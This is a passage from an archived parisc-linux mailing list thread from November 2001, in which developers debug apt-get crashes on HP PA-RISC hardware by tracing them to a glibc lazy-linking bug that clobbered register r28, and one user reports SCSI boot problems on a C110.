Nov  8 08:13:03 bob kernel: sr4-7^I 00000438 00000438 00000438 00000438
Nov  8 08:13:03 bob kernel:
Nov  8 08:13:03 bob kernel: IASQ: 00000438 00000438 IAOQ: 4000be13 4000be17
Nov  8 08:13:03 bob kernel:  IIR: 04000000    ISR: 00000438  IOR: 00000000
Nov  8 08:13:03 bob kernel:  CPU:        0   CR30: 155fc000 CR31: 10330000
Nov  8 08:13:03 bob kernel:  ORIG_R28: 401ea73c

This probably explains why xman isn't working too well. Strangely
enough, it doesn't cause a similiar crash.

Would localizing the crashing/non-crashing code help towards figuring
out this problem?

Regards,

Albert


On Wed, 07 Nov 2001, Albert Strasheim wrote:

<snip>

> Another weird one is when I click on any button in xman (and some other
> apps in xbase-clients; displaying on my i386 machine), it simply dies
> with:
>=20
> Error: Unresolved inheritance operation

<snip>

--ReaqsoxgOBHFXBhH
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE76iWpDg+hOeRZtkMRAoZzAJ9JbcwGfd9ts8w26t8gxEasRAdnKQCfQ6UQ
QzDnlvWY7OzB1XotfVHV6lw=
=STH/
-----END PGP SIGNATURE-----

--ReaqsoxgOBHFXBhH--



From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 update
Date: Thu, 8 Nov 2001 17:20:26 +1030
Lines: 13
Approved: news@gmane.org
Message-ID: <20011108172026.I6922@bubble.sa.bigpond.net.au>
References: <fullung@ilink.nis.za> <20011107023007.A12882@dogbert.localdomain> <200111070700.AAA08983@puffin.external.hp.com> <20011107163116.A8527@dogbert.localdomain> <20011107200110.C616@dogbert.localdomain> <3BE9799E.8C2C9C77@esiee.fr> <20011108080516.A1857@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620724 29622 80.91.229.3 (22 Nov 2014 01:45:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:24 +0000 (UTC)
Cc: Thomas Marteau <marteaut@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 23:51:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailin8.bigpond.com (mailin8.bigpond.com [139.134.6.96])
	by dsl2.external.hp.com (Postfix) with ESMTP id F18BC482D
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 23:51:08 -0700 (MST)
Original-Received: from bubble.local ([144.135.24.72]) by
          mailin8.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GMGZC200.8PQ for <parisc-linux@lists.parisc-linux.org>; Thu,
          8 Nov 2001 16:57:38 +1000 
Original-Received: from 144.136.176.14 ([144.136.176.14]) by bwmam02.mailsvc.email.bigpond.com(MailRouter V2.9k 8356/843149); 08 Nov 2001 16:50:43
Original-Received: (qmail 4742 invoked by uid 179); 8 Nov 2001 06:50:26 -0000
Mail-Followup-To: Albert Strasheim <fullung@ilink.nis.za>,
	Thomas Marteau <marteaut@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20011108080516.A1857@dogbert.localdomain>; from fullung@ilink.nis.za on Thu, Nov 08, 2001 at 08:05:16AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12955

Randolph Chung is currently testing a new glibc that should cure most,
if not all, of your problems.  The problem was that the lazy linking
code in ld.so used r28 without saving it.  r28 is used by functions
to return values;  In the case of a function returning a struture, on
function entry r28 points to an area of memory to hold the structure.
So trashing r28 meant that functions returning structures scribbled them
into the wrong part of memory.  In fact, they overwrote the procedure
linkage table.

Alan




From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 update
Date: Thu, 8 Nov 2001 00:14:10 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20011108001410.B2835@tausq.org>
References: <fullung@ilink.nis.za> <20011107023007.A12882@dogbert.localdomain> <200111070700.AAA08983@puffin.external.hp.com> <20011107163116.A8527@dogbert.localdomain> <20011107200110.C616@dogbert.localdomain> <3BE9799E.8C2C9C77@esiee.fr> <20011108080516.A1857@dogbert.localdomain> <20011108172026.I6922@bubble.sa.bigpond.net.au>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620724 29624 80.91.229.3 (22 Nov 2014 01:45:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:24 +0000 (UTC)
To: Albert Strasheim <fullung@ilink.nis.za>,
	Thomas Marteau <marteaut@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  8 01:14:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD7DF482C
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Nov 2001 01:14:20 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id gpsriaaa for parisc-linux@lists.parisc-linux.org; Thu, 8 Nov 2001 01:09:13 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 161kKA-0000u8-00; Thu, 08 Nov 2001 00:14:10 -0800
Content-Disposition: inline
In-Reply-To: <20011108172026.I6922@bubble.sa.bigpond.net.au>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12956

In reference to a message from Alan Modra, dated Nov 08:
> Randolph Chung is currently testing a new glibc that should cure most,
> if not all, of your problems.  The problem was that the lazy linking

Alan's new patch seems to be working. I've updated the debs at
http://gluck.debian.org/~tausq/hppa/

With these new debs I'm not seeing the apt-get crashes anymore.

I've passed the patch to Ben Collins for the next glibc build.

Please let us know if you are still seeing crashes after using the
updated debs. (Apologies -- but the version numbers are the same as the
previous ones)

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 update
Date: Thu, 8 Nov 2001 16:11:26 +0200
Lines: 103
Approved: news@gmane.org
Message-ID: <20011108161126.A2541@dogbert.localdomain>
References: <fullung@ilink.nis.za> <20011107023007.A12882@dogbert.localdomain> <200111070700.AAA08983@puffin.external.hp.com> <20011107163116.A8527@dogbert.localdomain> <20011107200110.C616@dogbert.localdomain> <3BE9799E.8C2C9C77@esiee.fr> <20011108080516.A1857@dogbert.localdomain> <20011108172026.I6922@bubble.sa.bigpond.net.au> <20011108001410.B2835@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620724 29631 80.91.229.3 (22 Nov 2014 01:45:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  8 07:11:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74459482C
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Nov 2001 07:11:04 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 161ptL-0005BW-00
	for parisc-linux@lists.parisc-linux.org; Thu, 08 Nov 2001 16:10:51 +0200
Original-Received: (qmail 30328 invoked from network); 8 Nov 2001 14:10:39 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 8 Nov 2001 14:10:39 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 161ptu-0000f7-00; Thu, 08 Nov 2001 16:11:26 +0200
Content-Disposition: inline
In-Reply-To: <20011108001410.B2835@tausq.org>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *161ptL-0005BW-00*dX.GicpOjto* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12957

Hello Randolph, Alan and parisc-linux,

I've grabbed the new debs from the site. Here's how things went:

0. Using old apt with old libs, things seemed to work initially, but by
   yesterday around lunch-time, everything was dying (bigger database
   maybe?).

1. Using apt I built from scratch yesterday, _without_ LD_BIND_NOW=1
   set, I get a segmentation fault (apt-cache and apt-get). /var/log/syslog
   contains the following:

Nov  8 16:08:28 bob kernel: do_page_fault() pid=436 command='apt-get'
type=15 address=0xffffffec
Nov  8 16:08:28 bob kernel: vm_start = 0xbff00000, vm_end = 0xbff02000
Nov  8 16:08:28 bob kernel:
Nov  8 16:08:28 bob kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Nov  8 16:08:28 bob kernel: PSW: 00000000000001000000000100001111
Nov  8 16:08:28 bob kernel: r0-3^I 00000000 00031854 4006189b bff00ad0
Nov  8 16:08:28 bob kernel: r4-7^I bff00ac0 401211b8 0004bb6b bff00ab0
Nov  8 16:08:28 bob kernel: r8-11^I 0004bb00 bff009b0 00000000 bff00aa0
Nov  8 16:08:28 bob kernel: r12-15^I 00000000 00049100 000d00d0 00000000
Nov  8 16:08:28 bob kernel: r16-19^I 00000000 000255c8 00014000 401211b8
Nov  8 16:08:28 bob kernel: r20-23^I 00000000 0002cdd4 0002cdd4 0004b7f0
Nov  8 16:08:28 bob kernel: r24-27^I bff00ae0 00000029 bff00ac0 000429c0
Nov  8 16:08:28 bob kernel: r28-31^I bff00ab0 0000003c bff00c00 40009ae7
Nov  8 16:08:28 bob kernel: sr0-3^I 00000000 0000003f 00000000 0000003f
Nov  8 16:08:28 bob kernel: sr4-7^I 0000003f 0000003f 0000003f 0000003f
Nov  8 16:08:28 bob kernel:
Nov  8 16:08:28 bob kernel: IASQ: 0000003f 0000003f IAOQ: 400618af 400618b3
Nov  8 16:08:28 bob kernel:  IIR: 4a963fd9    ISR: 0000003f  IOR: ffffffec
Nov  8 16:08:28 bob kernel:  CPU:        0   CR30: 1327c000 CR31: 10330000
Nov  8 16:08:28 bob kernel:  ORIG_R28: 403d5a84

2. Using original apt, with new libs, apt-cache search, apt-get remove,
   and apt-get install all seem to work. apt-get update from http sites
   seems to work. apt-get update with deb-src lines in the sources.list
   produces an Illegal instruction error right after wgetting the
   relevant file. /var/log/syslog contains the following:

Nov  8 16:04:59 bob kernel: !!die_if_kernel: apt-get(367): Privileged
register - shouldn't happen! 11
Nov  8 16:04:59 bob kernel:
Nov  8 16:04:59 bob kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Nov  8 16:04:59 bob kernel: PSW: 00000000000001101111111100001111
Nov  8 16:04:59 bob kernel: r0-3^I 00000000 401e43fc 401845ff 00045990
Nov  8 16:04:59 bob kernel: r4-7^I 401e5bfc bff00f90 bff00e10 0000000a
Nov  8 16:04:59 bob kernel: r8-11^I 0004e100 bff00bc8 0004e128 bff00e28
Nov  8 16:04:59 bob kernel: r12-15^I 00000000 bff00e18 000cf2d0 00000000
Nov  8 16:04:59 bob kernel: r16-19^I 00000000 000255c8 00014000 00045220
Nov  8 16:04:59 bob kernel: r20-23^I 00000002 401cec20 401845b0 00000000
Nov  8 16:04:59 bob kernel: r24-27^I 00000020 00045998 bff01010 00040220
Nov  8 16:04:59 bob kernel: r28-31^I bff00f90 00000005 bff01080 00026f03
Nov  8 16:04:59 bob kernel: sr0-3^I 00000000 00000083 00000000 00000083
Nov  8 16:04:59 bob kernel: sr4-7^I 00000083 00000083 00000083 00000083
Nov  8 16:04:59 bob kernel:
Nov  8 16:04:59 bob kernel: IASQ: 00000083 00000083 IAOQ: 401cec23 401cec27
Nov  8 16:04:59 bob kernel:  IIR: 00040948    ISR: 00000083  IOR: 00000000
Nov  8 16:04:59 bob kernel:  CPU:        0   CR30: 12728000 CR31: 10330000
Nov  8 16:04:59 bob kernel:  ORIG_R28: 00000001

3. Using the apt I built from sources, _with_ LD_BIND_NOW=1 set, 
   everything seems to work fine, including fetching deb-src.

4. Using original apt _with_ LD_BIND_NOW=1 set, everything also seems to
   work; most notably the fetching of deb-src works.

bob:/home/fullung# uname -a
Linux bob 2.4.9-pa70 #5 Thu Nov 8 08:08:50 UTC 2001 parisc unknown

I built this kernel using the most recent gcc on this box yesterday.

For the rest I have all the latest packages from gluck -- everything
from about a day ago, and today's libc6, libc6-dev and nscd.

That's about. :-)

Regards,

Albert

On Thu, 08 Nov 2001, Randolph Chung wrote:

> In reference to a message from Alan Modra, dated Nov 08:
> > Randolph Chung is currently testing a new glibc that should cure most,
> > if not all, of your problems.  The problem was that the lazy linking
> 
> Alan's new patch seems to be working. I've updated the debs at
> http://gluck.debian.org/~tausq/hppa/
> 
> With these new debs I'm not seeing the apt-get crashes anymore.
> 
> I've passed the patch to Ben Collins for the next glibc build.
> 
> Please let us know if you are still seeing crashes after using the
> updated debs. (Apologies -- but the version numbers are the same as the
> previous ones)

Regards,

Albert



From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 update
Date: Thu, 8 Nov 2001 16:20:21 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20011108162021.C2541@dogbert.localdomain>
References: <fullung@ilink.nis.za> <20011107023007.A12882@dogbert.localdomain> <200111070700.AAA08983@puffin.external.hp.com> <20011107163116.A8527@dogbert.localdomain> <20011107200110.C616@dogbert.localdomain> <3BE9799E.8C2C9C77@esiee.fr> <20011108080516.A1857@dogbert.localdomain> <20011108172026.I6922@bubble.sa.bigpond.net.au> <20011108001410.B2835@tausq.org> <20011108161126.A2541@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620725 29633 80.91.229.3 (22 Nov 2014 01:45:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  8 07:20:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0361C482C
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Nov 2001 07:20:38 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 161q2l-0006L0-00
	for parisc-linux@lists.parisc-linux.org; Thu, 08 Nov 2001 16:20:35 +0200
Original-Received: (qmail 30347 invoked from network); 8 Nov 2001 14:19:27 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 8 Nov 2001 14:19:27 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 161q2X-0000fF-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 08 Nov 2001 16:20:21 +0200
Content-Disposition: inline
In-Reply-To: <20011108161126.A2541@dogbert.localdomain>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *161q2l-0006L0-00*ADDjEH56Wx2* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12958

Hello,

On Thu, 08 Nov 2001, Albert Strasheim wrote:

<snip>

> 2. Using original apt, with new libs, apt-cache search, apt-get remove,
>    and apt-get install all seem to work. apt-get update from http sites
>    seems to work. apt-get update with deb-src lines in the sources.list
>    produces an Illegal instruction error right after wgetting the
>    relevant file. /var/log/syslog contains the following:

<snip>

FYI, Tried deb-src update both with http and ftp now. Doesn't make a
difference; still see the same Illegal instruction.

> That's about. :-)

That's about it. :-)

Regards,

Albert



From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 update
Date: Thu, 8 Nov 2001 17:05:48 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20011108170548.A2644@dogbert.localdomain>
References: <fullung@ilink.nis.za> <20011107023007.A12882@dogbert.localdomain> <200111070700.AAA08983@puffin.external.hp.com> <20011107163116.A8527@dogbert.localdomain> <20011107200110.C616@dogbert.localdomain> <20011108082650.B1857@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620725 29638 80.91.229.3 (22 Nov 2014 01:45:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  8 08:05:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DB09482C
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Nov 2001 08:05:11 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 161qjq-00043v-00
	for parisc-linux@lists.parisc-linux.org; Thu, 08 Nov 2001 17:05:06 +0200
Original-Received: (qmail 30460 invoked from network); 8 Nov 2001 15:04:55 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 8 Nov 2001 15:04:55 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 161qkX-00010z-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 08 Nov 2001 17:05:49 +0200
Content-Disposition: inline
In-Reply-To: <20011108082650.B1857@dogbert.localdomain>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *161qjq-00043v-00*/Dn9P/3YMA6* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12959

Me again. :-)

At Thomas's suggestion I downloaded all the packages again and installed
from scratch. Things seem to be working perfectly now. :-)

man also works. xman still reports the same error though.

Regards,

Albert



From - Thu Nov 08 21:20:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Williams <dan@bigw.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C110 install and boot part 3...
Date: Thu, 8 Nov 2001 21:21:45 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <E76C922A-D4C0-11D5-BC47-0030657D1C94@bigw.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620725 29641 80.91.229.3 (22 Nov 2014 01:45:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  8 20:21:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beloit.edu (beloit.edu [144.89.40.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72931482C
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Nov 2001 20:21:48 -0700 (MST)
Original-Received: from localhost ([144.89.185.182])
	by beloit.edu (AIX4.3/8.9.3/8.9.0) with ESMTP id VAA24984
	for <parisc-linux@lists.parisc-linux.org>; Thu, 8 Nov 2001 21:16:10 -0600
X-Mailer: Apple Mail (2.472)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12960

OK, I got a hold of another CD drive, this time a DEC workstation CD 
(its funky in some wierd way), its got parity always on and you can 
switch between DEC workstation and PC mode.  Whatever that is.  The main 
thing is that it works and boots the .9.2 CD I've got.  However, after 
the penguin appears at the top and it does init and stuff, right after 
it lists the CD when its doing SCSi init stuff, it give me:

scsi bus is being reset for host 1 channel 0
ncr53c8xx_reset: pid-0 resetflags=2 serial_number=18 
serial_number_at_timeout=18
ncr53c720-0: restart(scsi reset)
SCSI host 1 abort (pid0) timed out - resetting.

This was with the 2 2.1GB FW differential SCSI drive attached and 
functioning.  When I took both of those drive out and have JUST the CD 
drive in the system, it boots fine and gets to the install program, with 
the welcome screen and the Continue button.  But it froze at this first 
screen for some reason.  Any ideas?

Also, can it boot with FW differential SCSI devices connected?  Or do I 
have to put some narrow drives in there?

Thanks,
Dan




From - Thu Nov 08 21:20:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <xfs@linux.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing PARISC-Linux on my 712, over network...
Date: Fri, 9 Nov 2001 10:44:50 +0100 (CET)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0111091040160.2829-100000@oden.valhall>
Reply-To: <xfs@linux.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620726 29647 80.91.229.3 (22 Nov 2014 01:45:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:26 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 02:44:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xfs.ath.cx (sdu101-232.ppp.algonet.se [195.163.232.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08BA2482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 02:44:32 -0700 (MST)
Original-Received: from oden.valhall (oden.valhall [192.168.0.3])
	by xfs.ath.cx (Postfix) with ESMTP id 39F88176FB
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 10:44:50 +0100 (CET)
X-X-Sender: <j@oden.valhall>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
